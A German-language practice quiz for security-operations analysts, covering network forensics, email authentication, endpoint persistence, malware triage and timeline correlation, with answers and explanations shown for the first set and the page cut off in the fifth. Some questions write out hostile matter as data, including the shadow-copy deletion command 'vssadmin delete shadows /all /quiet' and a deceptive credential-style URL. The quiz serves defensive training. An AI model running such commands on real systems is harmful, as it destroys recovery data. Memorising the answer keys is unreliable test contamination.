Ein Analyst möchte ändern, welche Pakete Wireshark anzeigt, ohne gespeicherte Beweismittel zu verwerfen. Welche Art von Filter wird benötigt?
  1. Ein Aufzeichnungsfilter für den gespeicherten Mitschnitt
  2. Ein Anzeigefilter für den gespeicherten Mitschnitt
  3. Ein BPF-Filter vor dem Speichern der Pakete
  4. Ein Schnittstellenfilter für die Aufzeichnungszuführung
Antwort zeigenAntwort ausblenden
Antwort: B
Ein Anzeigefilter ändert die sichtbare Auswahl, während die gespeicherten Pakete verfügbar bleiben. Ein Aufzeichnungsfilter bestimmt, was bei der Erfassung erhalten bleibt; ausgeschlossener Verkehr lässt sich später nicht durch Ändern der Ansicht wiederherstellen. Die beiden Filter verwenden außerdem unterschiedliche Syntax.

Frage 2 von 10

Ein Sensor außerhalb eines NAT-Gateways zeichnet eine verdächtige ausgehende Verbindung von der gemeinsam genutzten öffentlichen Adresse auf. Was sollte der Analyst verwenden, um den internen Host zu diesem Zeitpunkt zu identifizieren?
  1. Das aktuelle Inventar ohne historische Zuweisungen
  2. Den Inhaber der öffentlichen IP ohne Portzuordnung
  3. Die aktuelle DNS-Zuordnung des entfernten Servers
  4. Zeitlich passende NAT-Datensätze der öffentlichen Verbindung
Antwort zeigenAntwort ausblenden
Antwort: D
Der Übersetzungsdatensatz des Gateways ordnet die beobachtete öffentliche Verbindung ihrem internen Endpunkt zum Ereigniszeitpunkt zu. Ein aktueller DHCP-Lease liefert diese Übersetzung nicht und eine Adresse kann inzwischen einem anderen Host zugewiesen sein. Beziehe Ports und Zeitangaben ein, um gleichzeitige Verbindungen zu unterscheiden.

Frage 3 von 10

Ein TCP-Austausch beginnt mit 10.8.0.14:53720 → 203.0.113.62:8443 SYN. Welcher Endpunkt hat die Verbindung initiiert?
  1. 10.8.0.14 mit Quellport 53720
  2. 203.0.113.62 mit Dienstport 8443
  3. 10.8.0.14 mit Zielport 8443
  4. 203.0.113.62 mit Zielport 53720
Antwort zeigenAntwort ausblenden
Antwort: A
Der Sender des ersten SYN ist der Initiator, also ist der Client 10.8.0.14 an Port 53720. Der Zielport gehört in diesem Paket zum Dienstendpunkt. Eine Antwort würde sowohl Adress- als auch Portpaar umkehren, wodurch der Server sonst wie der Initiator aussehen kann.

Frage 4 von 10

Ein unverschlüsseltes GET für /status.asp erhält eine Antwort, die mit 4D 5A beginnt. Was sollte der Analyst daraus schließen und als Nächstes prüfen?
  1. Ein Serverskript liegt vor; seinen Typ aus .asp ableiten
  2. Eine ausführbare Datei könnte vorliegen; Struktur und Hashwert prüfen
  3. Ein PDF liegt vor; seinen Typ aus dem Objektnamen ableiten
  4. Eine Webseite liegt vor; der URL statt dem Rumpf vertrauen
Antwort zeigenAntwort ausblenden
Antwort: B
Die ersten Bytes stehen für MZ, eine häufige Signatur ausführbarer Windows-Dateien. Untersuche daher Struktur und Hashwert des wiederhergestellten Objekts. Die .asp-URL bezeichnet den Anfragepfad, nicht das zurückgegebene Dateiformat. Betrachte die Typabweichung als Untersuchungshinweis und ordne die Anfrage ihrem Endgeräteprozess zu.

Frage 5 von 10

Welche Art von Beleg fehlt normalerweise in einem Netzwerk-Flow-Datensatz?
  1. Die Quell- und Zielports der Transportschicht
  2. Die aufgezeichneten Start- und Endzeitstempel
  3. Die in den Paketen übertragenen Anwendungsnutzdaten
  4. Die richtungsbezogenen Byte- und Paketzähler
Antwort zeigenAntwort ausblenden
Antwort: C
Ein Flow-Datensatz fasst Kommunikation anhand von Feldern wie Adressen, Ports, Zeiten und Anzahlen zusammen, ohne Anwendungsnutzdaten aufzubewahren. Bytegesamtzahlen beschreiben die beobachtete Verkehrsmenge, nicht die enthaltenen Wörter oder Dateien. Rufe Paket- oder Anwendungsbelege ab, wenn Inhalte benötigt werden.

Frage 6 von 10

Zwischen 01:10 und 01:40 Uhr UTC sendet eine Arbeitsstation 900 MB und empfängt 9 MB. Wie groß sind das Verhältnis von ausgehendem zu eingehendem Verkehr und die durchschnittliche ausgehende Rate?
  1. 100:1 und 4 Mbit/s
  2. 100:1 und 0,5 Mbit/s
  3. 10:1 und 4 Mbit/s
  4. 100:1 und 24 Mbit/s
Antwort zeigenAntwort ausblenden
Antwort: A
900 MB dividiert durch 9 MB ergibt 100:1. Dreißig Minuten sind 1.800 Sekunden, daher beträgt die Rate 0,5 MB/s oder nach Multiplikation mit acht 4 Mbit/s. Die Angabe 0,5 Mbit/s verwechselt Byte pro Sekunde mit Bit pro Sekunde; für das Volumenverhältnis ist diese Umrechnung nicht nötig.

Frage 7 von 10

Vier vollständig erfasste Flow-Datensätze gehören zu einer TCP-Verbindung: ausgehend 04:00–04:06 Uhr, 90 MB; ausgehend 04:06–04:12 Uhr, 150 MB; eingehend 04:00–04:08 Uhr, 2 MB; eingehend 04:08–04:12 Uhr, 6 MB. Wie groß sind das Verhältnis von ausgehendem zu eingehendem Verkehr und die durchschnittliche ausgehende Rate?
  1. 30:1 und etwa 1,33 Mbit/s
  2. 15:1 und etwa 2,67 Mbit/s
  3. 30:1 und etwa 0,33 Mbit/s
  4. 30:1 und etwa 2,67 Mbit/s
Antwort zeigenAntwort ausblenden
Antwort: D
Ausgehend sind es insgesamt 240 MB und in der Gegenrichtung 8 MB, also 30:1. Der gesamte verstrichene Zeitraum beträgt 12 Minuten oder 720 Sekunden. Die ausgehende Rate beträgt daher etwa 0,333 MB/s oder 2,67 Mbit/s. Das Addieren der Dauern beider Richtungen verdoppelt die verstrichene Zeit und halbiert die Rate fälschlich.

Frage 8 von 10

Ein Host kontaktiert innerhalb kurzer Zeit Port 3389 auf 70 anderen Arbeitsstationen. Welches Netzwerkmuster sollte der Analyst untersuchen?
  1. Vertikales Prüfen vieler Dienste auf einem Host
  2. DNS-Tunneling über eine Reihe unterschiedlicher Abfragenamen
  3. Horizontales Prüfen eines RDP-Dienstes auf mehreren Hosts
  4. Umfangreiche Datenexfiltration über viele Antwortübertragungen
Antwort zeigenAntwort ausblenden
Antwort: C
Der Zielport bleibt gleich, während die Ziele wechseln. Das ist horizontales Prüfen; 3389 deutet üblicherweise auf RDP hin. Ein vertikaler Portscan würde die Ports auf einem Ziel wechseln. Prüfe Autorisierung und Quellprozess, denn dieses Muster kann eine Untersuchung auf laterale Bewegung stützen, ohne allein den Zweck zu belegen.

Frage 9 von 10

Eine Arbeitsstation führt alle 238–242 Sekunden kurze TCP-Austausche durch und eine IDS-Regel bezeichnet sie als „Possible shell“. Die Regel prüft nur aufgebauten ausgehenden Verkehr zu Port 4444. EDR ordnet ihn einem genehmigten signierten Überwachungsagenten zu und das Ziel entspricht dessen dokumentiertem Sammelserver. Welches Urteil passt zu diesem Regeltreffer?
  1. Ein bösartiges richtig positives Ergebnis für eine verifizierte Reverse-Shell
  2. Ein gutartiges richtig positives Ergebnis für den autorisierten Agentenverkehr
  3. Ein falsch positives Ergebnis wegen des autorisierten Agenten
  4. Ein nicht abschließend beurteilbarer Scan wegen leichter Zeitschwankungen
Antwort zeigenAntwort ausblenden
Antwort: B
Der aufgebaute Verkehr entspricht der Regel, während Prozess und dokumentiertes Ziel eine autorisierte Nutzung erklären. Das stützt ein gutartiges richtig positives Ergebnis für die tatsächlichen Regelbedingungen. Die Meldung belegt keine Shell-Ausführung und die regelmäßigen Zeitabstände zeigen Automatisierung, ohne sie bösartig zu machen.

Frage 10 von 10

Ein Host stellt Tausende DNS-Abfragen mit langen, unterschiedlichen, kodiert wirkenden Labels unter einer übergeordneten Domäne. Was sollte der Analyst zuerst untersuchen?
  1. Mögliche DGA-Nutzung; die Labels als fehlgeschlagene Domänen behandeln
  2. Mögliche Enumeration; lesbare Dienstabfragen annehmen
  3. Routineauflösung; die gemeinsame übergeordnete Domäne als Genehmigung werten
  4. Mögliches DNS-Tunneling; den auslösenden Prozess untersuchen
Antwort zeigenAntwort ausblenden
Antwort: D
Viele lange unterschiedliche Labels unter einer übergeordneten Domäne passen zu einem möglichen DNS-Tunnel, der Datenteile überträgt. Prüfe Abfragevolumen, Eintragstypen und den verantwortlichen Prozess. Ein DGA probiert häufiger viele erzeugte Domänennamen aus und erzeugt dabei oft NXDOMAIN-Antworten; dieses Fehlermuster wird hier nicht genannt.
Set 2: E-Mail-Identität und Reichweite einer Angriffskampagne verfolgen10 Übungsfragen

Speichere diese Einheit, um jede Antwort zu sehen und jedes Set zu üben.

Frage 1 von 10

Welche Nachrichtenadresse liefert die Domäne, die der DMARC-Domänenabgleich schützt?
  1. Die Unzustellbarkeitsadresse im Return-Path-Header
  2. Das Antwortziel im Reply-To-Header
  3. Die sichtbare Adresse im From-Header
  4. Der Name des weiterleitenden Servers im neuesten Received-Header
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 2 von 10

Eine Nachricht hat From accounts@example.org, ein erfolgreiches SPF-Ergebnis für bounce.mailer.example.net und ein erfolgreiches DKIM-Ergebnis für example.org. Wie lautet das DMARC-Ergebnis bei striktem Abgleich?
  1. Erfolgreich, weil die erfolgreiche DKIM-Domäne From exakt entspricht
  2. Fehlgeschlagen, weil die erfolgreiche SPF-Domäne von From abweicht
  3. Erfolgreich, weil SPF und DKIM für irgendeine Domäne erfolgreich waren
  4. Fehlgeschlagen, weil strikt beide Methoden Übereinstimmung verlangen
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 3 von 10

Eine Originalnachricht enthält unten eine Received-Zeile, die einen vertrauenswürdigen weiterleitenden Server des Lieferanten behauptet, und oben eine vom Gateway der Organisation geschriebene Zeile mit einer nicht zugehörigen Verbindungs-IP. Ein vom Absender geliefertes Authentication-Results meldet Erfolg; das eigene Ergebnis des Gateways meldet DMARC-Fehlschlag. Auf welche Belege sollte sich der technische Herkunftsbefund stützen?
  1. Den ältesten behaupteten Server und den vom Absender gemeldeten Erfolg
  2. Den ältesten behaupteten Server und das Fehlschlagsergebnis des Gateways
  3. Die vom Gateway erfasste IP und den vom Absender gemeldeten Erfolg
  4. Die vom Gateway erfasste IP und sein eigenes Authentifizierungsergebnis
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 4 von 10

Eine weitergeleitete legitime Nachricht besteht SPF nicht, aber das unveränderte DKIM ist mit gelockertem Abgleich zum From-Header erfolgreich. Wie lässt sich das DMARC-Ergebnis erklären?
  1. DMARC schlägt fehl, weil ein geänderter Zustellweg DKIM ungültig macht
  2. DMARC ist trotz SPF-Fehlschlags durch übereinstimmendes DKIM erfolgreich
  3. DMARC ist erfolgreich, weil die Weiterleitung den Domänenabgleich deaktiviert
  4. DMARC schlägt fehl, weil nach einer Weiterleitung beide Methoden bestehen müssen
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 5 von 10

Ein Link lautet https://portal.example.org@203.0.113.88/session. Was ist sein Host?
  1. portal.example.org
  2. 203.0.113.88
  3. example.org
  4. 203.0.113.88/session
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 6 von 10

Ein echtes Lieferantenpostfach fordert ein neues Zahlungskonto an und nennt eine Telefonnummer zur Bestätigung. Welche Handlung prüft die Änderung unabhängig?
  1. Die angegebene Nummer anrufen und die Änderung wiederholen lassen
  2. Im bestehenden Austausch dasselbe Postfach um Bestätigung bitten
  3. Die Anfrage nach erfolgreicher DMARC-Prüfung des Lieferanten annehmen
  4. Den Lieferanten über eine bereits hinterlegte Nummer anrufen
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 7 von 10

Eine Bitte um Änderung der Bankverbindung trifft in einem echten Lieferantenaustausch ein, besteht die Authentifizierung mit Domänenabgleich und enthält weder URL noch Datei. Der Lieferant bestätigt über seine hinterlegte Telefonnummer, dass er keine Änderungsanfrage gesendet hat. Welcher Befund wird am besten gestützt?
  1. BEC im echten Austausch; das Postfach untersuchen
  2. Fälschung der From-Domäne; den Domänenabgleich ignorieren
  3. Eine genehmigte Änderung; dem Austausch statt der Ablehnung vertrauen
  4. Ein harmloser Fehler; ohne Nutzlast den Fall schließen
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 8 von 10

Ein dekodierter URL-Parameter enthält die E-Mail-Adresse eines Empfängers. Was sollte vor einem genehmigten öffentlichen Scan geschehen?
  1. Das Original aufbewahren und den Link unverändert einreichen
  2. Das Original aufbewahren und nur den Host des Links entschärfen
  3. Das Original aufbewahren und identifizierende Parameter entfernen
  4. Das Original aufbewahren und die Adresse erneut als Base64 kodieren
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 9 von 10

E-Mail-Protokolle zeigen 28 Empfänger einer Angriffskampagne, Proxyprotokolle vier Personen mit Linkaufruf und Kontoprotokolle eine unbekannte Sitzung unmittelbar nachdem eine dieser Personen Zugangsdaten eingegeben hat. Ein Anhang war nicht vorhanden. Welcher Reaktionsumfang folgt aus diesen Datensätzen?
  1. Kopien entfernen, Personen mit Linkaufruf untersuchen und das betroffene Konto eindämmen
  2. Kopien entfernen und nur den meldenden Empfänger untersuchen
  3. Alle Empfänger als bestätigt kompromittiert zurücksetzen und abschließen
  4. Kopien entfernen und die URL blockieren; die Kontountersuchung auslassen
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 10 von 10

Zwei E-Mails haben unterschiedliche Betreffzeilen und Anhangsnamen, aber identische SHA-256-Hashwerte der Anhänge. Welche Suche zur Ermittlung des Ausmaßes ist sinnvoll?
  1. Nur nach der zuerst vom meldenden Benutzer gesehenen Betreffzeile suchen
  2. Nur nach dem zuletzt für den Anhang verwendeten Namen suchen
  3. E-Mail- und Endgerätedatensätze nach dem gemeinsamen Anhangs-Hashwert durchsuchen
  4. Geänderte Betreffzeilen und Namen als getrennte Angriffskampagnen behandeln
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Set 3: Ausführung und Persistenz auf Endgeräten verfolgen10 Übungsfragen

Speichere diese Einheit, um jede Antwort zu sehen und jedes Set zu üben.

Frage 1 von 10

Welches Sysmon-Ereignis liefert detaillierte Angaben zur Prozesserstellung und eine Prozess-GUID?
  1. Ereignis 3
  2. Ereignis 11
  3. Ereignis 22
  4. Ereignis 1
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 2 von 10

Netzwerkdatensätze zeigen einen Upload eines Hosts über einen Zeitraum von 20 Minuten. Seine EDR-Konsole enthält keine Ereignisse, der Agent hat sich zuletzt zwei Stunden zuvor gemeldet und die Erfassung von Verbindungen durch Sysmon ist deaktiviert. Welche Schlussfolgerung und welcher nächste Schritt passen zu den Belegen?
  1. Der Upload ist harmlos; ein funktionsfähiger Endgeräteschutz hätte sonst alarmiert
  2. Die Endgerätezuordnung fehlt; Netzwerkbelege sichern und die Sensorlücke untersuchen
  3. Das Endgerät war offline; der Netzwerkdatensatz muss daher aus einer anderen Zeitzone stammen
  4. Der Upload ist Malware; die deaktivierte Verbindungserfassung belegt eine Manipulation
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 3 von 10

Welche Textkodierung verwendet PowerShell EncodedCommand für die Base64-dekodierten Bytes?
  1. UTF-16LE
  2. UTF-8
  3. ASCII
  4. UTF-16BE
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 4 von 10

EDR zeigt, dass WINWORD.EXE ein gültig signiertes mshta.exe mit einer entfernten URL startet. Was macht den Aufruf trotz gültiger Signatur verdächtig?
  1. Die gültige Signatur macht den entfernten Aufruf genehmigt
  2. Die entfernte URL belegt den Diebstahl des Signaturzertifikats
  3. Das Dokument als Elternprozess und die entfernten Argumente deuten auf LOLBin-Missbrauch hin
  4. Der Name eines Systemwerkzeugs belegt eine eingebettete ausführbare Dokumentdatei
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 5 von 10

Ein Linux-Prozess heißt [kworker/3:2]. Er läuft als normaler Benutzer, stammt von einer Shell ab und /proc/<pid>/exe zeigt auf eine gelöschte Datei in /dev/shm. Wie sind diese Hinweise zu interpretieren?
  1. Ein echter Kernel-Thread wurde nach einem routinemäßigen Systemupdate im Arbeitsspeicher umbenannt
  2. Ein Benutzerprozess gibt sich als Kernel-Thread aus und muss untersucht werden
  3. Ein echter Kernel-Thread wurde sicher entfernt, weil seine ausführbare Datei gelöscht wurde
  4. Eine Benutzer-Shell zeigt nur einen Kernel-Prozess an, dessen Elternprozess zwingend PID 2 hat
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 6 von 10

Ein Run-Wert im Benutzerbereich zeigt auf eine ausführbare Datei im Roaming-Profil des Benutzers. Welches Ereignis löst ihren normalen Autostart aus?
  1. Der Start des Computers
  2. Die Erstellung der Nutzlast
  3. Die Anmeldung dieses Benutzers
  4. Ein Abstand von dreißig Minuten
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 7 von 10

Eine unsignierte Nutzlast hat sowohl einen neuen Run-Eintrag als auch eine Aufgabe, die alle 20 Minuten ausgelöst wird. Ein Analyst löscht den Run-Wert und setzt das Passwort des Benutzers zurück, aber dieselbe Nutzlast startet vor der nächsten Anmeldung erneut. Was erklärt das Wiederauftreten und was sollte untersucht werden?
  1. Die Aufgabe kann sie erneut starten; die Aktion dokumentieren und weitere Auslöser prüfen
  2. Der Run-Schlüssel hat sich selbst wiederhergestellt; nur den alten Registrierungspfad dokumentieren
  3. Ein Token blieb nach dem Zurücksetzen aktiv; Sitzungen prüfen und Aufgaben auslassen
  4. Die Datei blieb vorhanden; sie löschen, ohne die Aufgabe zu dokumentieren
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 8 von 10

Ein neuer Windows-Dienst startet eine unsignierte ausführbare Datei aus einem öffentlichen Ordner. Wo kann der Analyst nach dem Installationsereignis suchen?
  1. Sicherheitsereignis 4624 oder Sysmon-Ereignis 22
  2. PowerShell-Ereignis 4104 oder Sysmon-Ereignis 2
  3. Sicherheitsereignis 4720 oder Sysmon-Ereignis 15
  4. Systemereignis 7045 oder Sicherheitsereignis 4697
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 9 von 10

Eine Nutzlast hat ein altes Erstellungsdatum, aber Sysmon zeichnet ihre Erstellung während des Sicherheitsvorfalls und anschließend Ereignis 2 durch denselben Prozess auf. Kurz danach erstellt dieser Prozess Archivteile und öffnet eine ausgehende Verbindung. Was sollte der Analyst daraus schließen und überprüfen?
  1. Das angezeigte Datum hat Vorrang; die Nutzlast als älter und unabhängig behandeln
  2. Zeitstempelmanipulation passt; die bereitgestellten Dateien dem sendenden Prozess zuordnen
  3. Ereignis 2 belegt Verschlüsselung; den Archivinhalt als bestätigt gestohlene Datensätze melden
  4. Der gemeinsame Prozesszeitpunkt belegt Diebstahl; jedes bereitgestellte Byte als übertragen melden
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 10 von 10

Eine verdächtige Dokumentkette startet vssadmin delete shadows /all /quiet. Warum erfordert dies eine dringende Eskalation?
  1. Der Befehl entfernt Wiederherstellungskopien und kann einer Ransomware-Verschlüsselung vorausgehen
  2. Der Befehl belegt, dass bereits jede Benutzerdatei verschlüsselt wurde
  3. Der Befehl entfernt nur den Sicherungsindex und erhält Wiederherstellungskopien
  4. Der Befehl beweist eine genehmigte Bereinigung durch ein integriertes Windows-Verwaltungswerkzeug
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Set 4: Reputation, statische Hinweise und Sandbox-Verhalten vergleichen10 Übungsfragen

Speichere diese Einheit, um jede Antwort zu sehen und jedes Set zu üben.

Frage 1 von 10

Die Bytes einer Datei bleiben unverändert, aber ihr Dateiname ändert sich. Was geschieht mit ihrem SHA-256-Hashwert?
  1. Der Inhalts-Hashwert bleibt gleich
  2. Der Hashwert ändert sich mit dem Namen
  3. Der Hashwert ändert sich mit der Erweiterung
  4. Der Hashwert ändert sich mit dem Dateipfad
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 2 von 10

Eine IP-Missbrauchsmeldung ist sechs Monate alt und betrifft eine gemeinsam genutzte Cloud-Adresse. Was sollte vor dem Blockieren der aktuellen Verbindung geprüft werden?
  1. Die GeoIP-Stadt als Identität des aktuellen Betreibers
  2. Der historische Wert als dauerhaftes Urteil über den Mandanten
  3. Aktuelle Nutzung, lokales Verhalten und Auswirkungen auf andere
  4. Die aktuelle Eigentümerschaft als Beweis für sicheren Verkehr
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 3 von 10

Eine vertrauliche interne Arbeitsmappe hat einen unbekannten Hashwert. Eine zugehörige signierte ausführbare Datei hat 2/68 Erkennungen und eine nicht genehmigte Prozesskette. Welcher Analyseplan behandelt beide Befunde angemessen?
  1. Die Arbeitsmappe öffentlich analysieren und die selten erkannte Datei freigeben
  2. Die Arbeitsmappe privat analysieren und die signierte Datei freigeben
  3. Die Arbeitsmappe umbenennen und hochladen und 2/68 als endgültiges Urteil werten
  4. Die Arbeitsmappe privat analysieren und das Verhalten der ausführbaren Datei untersuchen
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 4 von 10

Ein vermeintliches PDF beginnt mit 4D 5A. Welche Dateitypprüfung ist als Nächstes sinnvoll?
  1. Den PDF-Namen als tatsächliches Format akzeptieren
  2. Die Struktur der ausführbaren Datei untersuchen und ihren Hashwert dokumentieren
  3. Allein anhand von MZ eine Malware-Familie bestimmen
  4. Die Datei anhand des PDF-ähnlichen Namens ohne Strukturprüfung klassifizieren
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 5 von 10

Ein PE-Sample hat wenige ASCII-Zeichenketten, spärliche Importe, UPX-Abschnitte und eine charakteristische URL in UTF-16LE. Bekannte unbedenkliche Installationsprogramme haben dieselbe hohe Entropie und dieselben häufigen Importnamen. Wie sollte eine YARA-gestützte Untersuchung den Abgleich und die weiteren Schritte angehen?
  1. Den relevanten Wide-Text abgleichen, harmlose Treffer prüfen und kontrolliertes Laufzeitverhalten untersuchen
  2. Nur häufige ASCII-Importe abgleichen, harmlose Tests auslassen und hohe Entropie als bösartig werten
  3. Die URL nur als ASCII abgleichen, harmlose Dateien prüfen und fehlende Zeichenketten als fehlendes Verhalten werten
  4. Beide Textkodierungen abgleichen, harmlose Tests auslassen und jeden Treffer einer gepackten Datei als Malware werten
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 6 von 10

Ein regulärer Ausdruck extrahiert 999.12.4.8 als IPv4-ähnlichen Text. Was sollte der Analyst mit diesem Ergebnis tun?
  1. Es akzeptieren, weil ein Regex-Treffer die Gültigkeit der Adresse garantiert
  2. Den GeoIP-Standort abfragen, bevor die Zahlenbereiche geprüft werden
  3. Es als Indikator behalten, weil das Punktmuster passt
  4. Es nach Prüfung der Oktette als ungültige Adresse verwerfen
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 7 von 10

Eine YARA-Regel verlangt sowohl MZ an Offset null als auch einen Treffer für mindestens eine der Zeichenketten A und B. Sample X hat MZ an Position null und B in einer unterstützten Wide-Kodierung. Sample Y hat MZ nur an Offset 20 und enthält sowohl A als auch B. Welches Sample trifft zu und warum?
  1. Beide; die zusätzliche Zeichenkette in Y gleicht den anderen Header-Offset aus
  2. Nur X; die Offset-Anforderung und die erlaubte B-Alternative sind beide erfüllt
  3. Nur Y; die Anforderung einer Zeichenkette bedeutet, dass beide zugleich nötig sind
  4. Keines; der Wide-Treffer wird ignoriert, obwohl die Regel seine Kodierung unterstützt
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 8 von 10

Bei einem Sandbox-Durchlauf für ein Dokument fehlt die zur Verarbeitung seiner Makros benötigte Anwendung und es erscheinen keine Kindprozesse. Was sollte als Nächstes geschehen?
  1. Als harmlos abschließen, weil keine Kindprozesse erschienen
  2. Allein wegen der fehlenden Anwendung als Umgehung einstufen
  3. Mit der benötigten Anwendung erneut ausführen und die Einrichtung dokumentieren
  4. Unveränderte Profile wiederholen und ihre Urteilswerte mitteln
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 9 von 10

Eine Sandbox meldet eine abgelegte ausführbare Datei und einen Run-Eintrag. Sie listet außerdem eine Verbindung des Betriebssystems zur Zertifikatsprüfung auf, die ein sauberer Baseline-Durchlauf reproduziert. Wie sollten diese Befunde für Suchen in der Produktionsumgebung genutzt werden?
  1. Alle IP-Adressen des Berichts als samplebedingte Kommunikation blockieren
  2. Nach Nutzlast und Run-Eintrag suchen; die Baseline-Verbindung ausschließen
  3. Nur nach dem Hashwert suchen; den vertrauten Run-Namen freigeben
  4. Nur nach der Domäne suchen; die widersprechenden Hostartefakte verwerfen
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 10 von 10

Die statische Untersuchung zeigt eine lange Verzögerung und eine Download-URL. Ein kurzer isolierter Durchlauf endet vor Ablauf der Verzögerung; ein längerer erreicht die URL, aber den simulierten Netzwerkdiensten fehlt die angefragte Ressource. Was ist belegt und was sollte als Nächstes getestet werden?
  1. Den Abrufversuch als erfolgreiche Nutzlastausführung zählen
  2. Den Durchlauf erneut verlängern, ohne die fehlende Ressource bereitzustellen
  3. Die netzwerkabhängige Stufe wegen ihrer aktuellen Inaktivität freigeben
  4. Den Versuch beobachten; spätere Stufen mit einer kontrollierten Ressourcenantwort testen
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Set 5: Die Belege abgleichen und den Fall übergeben10 Übungsfragen

Speichere diese Einheit, um jede Antwort zu sehen und jedes Set zu üben.

Frage 1 von 10

Eine Endgerätekonsole zeigt 16:18:40 Uhr bei UTC+4. Wie lautet die entsprechende UTC-Zeit?
  1. 20:18:40 Uhr UTC
  2. 12:18:40 Uhr UTC
  3. 16:18:40 Uhr UTC
  4. 04:18:40 Uhr UTC
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 2 von 10

Ein Firewall-Upload hat den Zeitstempel 13:06 Uhr UTC. EDR zeigt einen Prozessstart um 15:04 Uhr bei UTC+2, aber die EDR-Uhr geht bekanntlich zwei Minuten nach. DHCP zeigt, dass die Adresse bis 13:05 Uhr UTC Host B und danach Host C gehörte. Welche Host-Zeit-Kombination sollte die weitere Korrelation leiten?
  1. Host B um 13:04 Uhr UTC, anhand des Zeitzonenversatzes ohne Uhrkorrektur
  2. Host C um 13:02 Uhr UTC, durch Abziehen von Zeitzonen- und Uhrenversatz
  3. Host C um 13:06 Uhr UTC, bei ebenfalls auf 13:06 Uhr UTC korrigierter Prozesszeit
  4. Host B um 15:06 Uhr UTC, durch Addition von zwei Minuten ohne Zeitzonenumrechnung
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 3 von 10

E-Mail-Belege verbinden einen bösartigen Anhang mit einer Word-/PowerShell-Kette und einem Run-Eintrag auf Host D. Später verlassen 1,8 GB den Host an dieselbe gemeinsam genutzte IP-Adresse. EDR ordnet diesen Upload dem genehmigten Sicherungsagenten zu, der seinen dokumentierten Dienst nutzt. Wie sollte die Zeitleiste den Upload behandeln?
  1. Als erklärtes Sicherungsereignis getrennt von der bestätigten Infektionskette belassen
  2. Als bestätigte Datenexfiltration zuordnen, weil die Ziel-IP zum Downloadprogramm passt
  3. Den Infektionsbefund entfernen, weil ein Ereignis eine legitime Erklärung hat
  4. Als Web-C2 zuordnen, weil Sicherungssoftware normalerweise ein verschlüsseltes Ziel nutzt
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 4 von 10

Eine Sandbox zeigt PowerShell und einen Run-Eintrag, aber kein Beleg erklärt, wie das Sample den Benutzer erreichte. Welche ATT&CK-Zuordnungen werden gestützt?
  1. Phishing-Zustellung und PowerShell-Ausführung
  2. Phishing-Zustellung und Datenexfiltration über C2
  3. Persistenz durch Run-Schlüssel und bestätigte laterale Bewegung
  4. PowerShell-Ausführung und Persistenz durch Run-Schlüssel
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 5 von 10

Eine Regel erkennt kodiertes PowerShell. Ihre Alarmmeldung trifft auf ein nachweislich genehmigtes Verteilungsskript zu, das vom Verteilungsagenten gestartet wurde. Wie sollte die Erkennung klassifiziert werden?
  1. Als falsch positives Ergebnis
  2. Als falsch negatives Ergebnis
  3. Als gutartiges richtig positives Ergebnis
  4. Als nicht abschließend beurteilbarer Befund
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 6 von 10

Ein Analyst schließt eine Alarmmeldung zu einem bösartigen Prozess als „erwartetes Updateprogramm“, weil der Aufgabenname vertraut ist. Das Ziel ist unsigniert, liegt in einem öffentlichen Ordner, wurde nach einer verdächtigen Dokumentausführung erstellt und es gibt keinen Verteilungsdatensatz. Welche Entscheidung ist sachgerecht?
  1. Geschlossen lassen, weil der Aufgabenname den Herausgeber beweist
  2. Wieder öffnen und Ziel, Zeitpunkt und Autorisierung untersuchen
  3. Geschlossen lassen, weil öffentliche Ordner genehmigte Updatepfade sind
  4. Den Aufgabennamen ausfiltern, weil unsignierter Code die Alarmmeldung erklärt
Antwort zeigenAntwort ausblenden

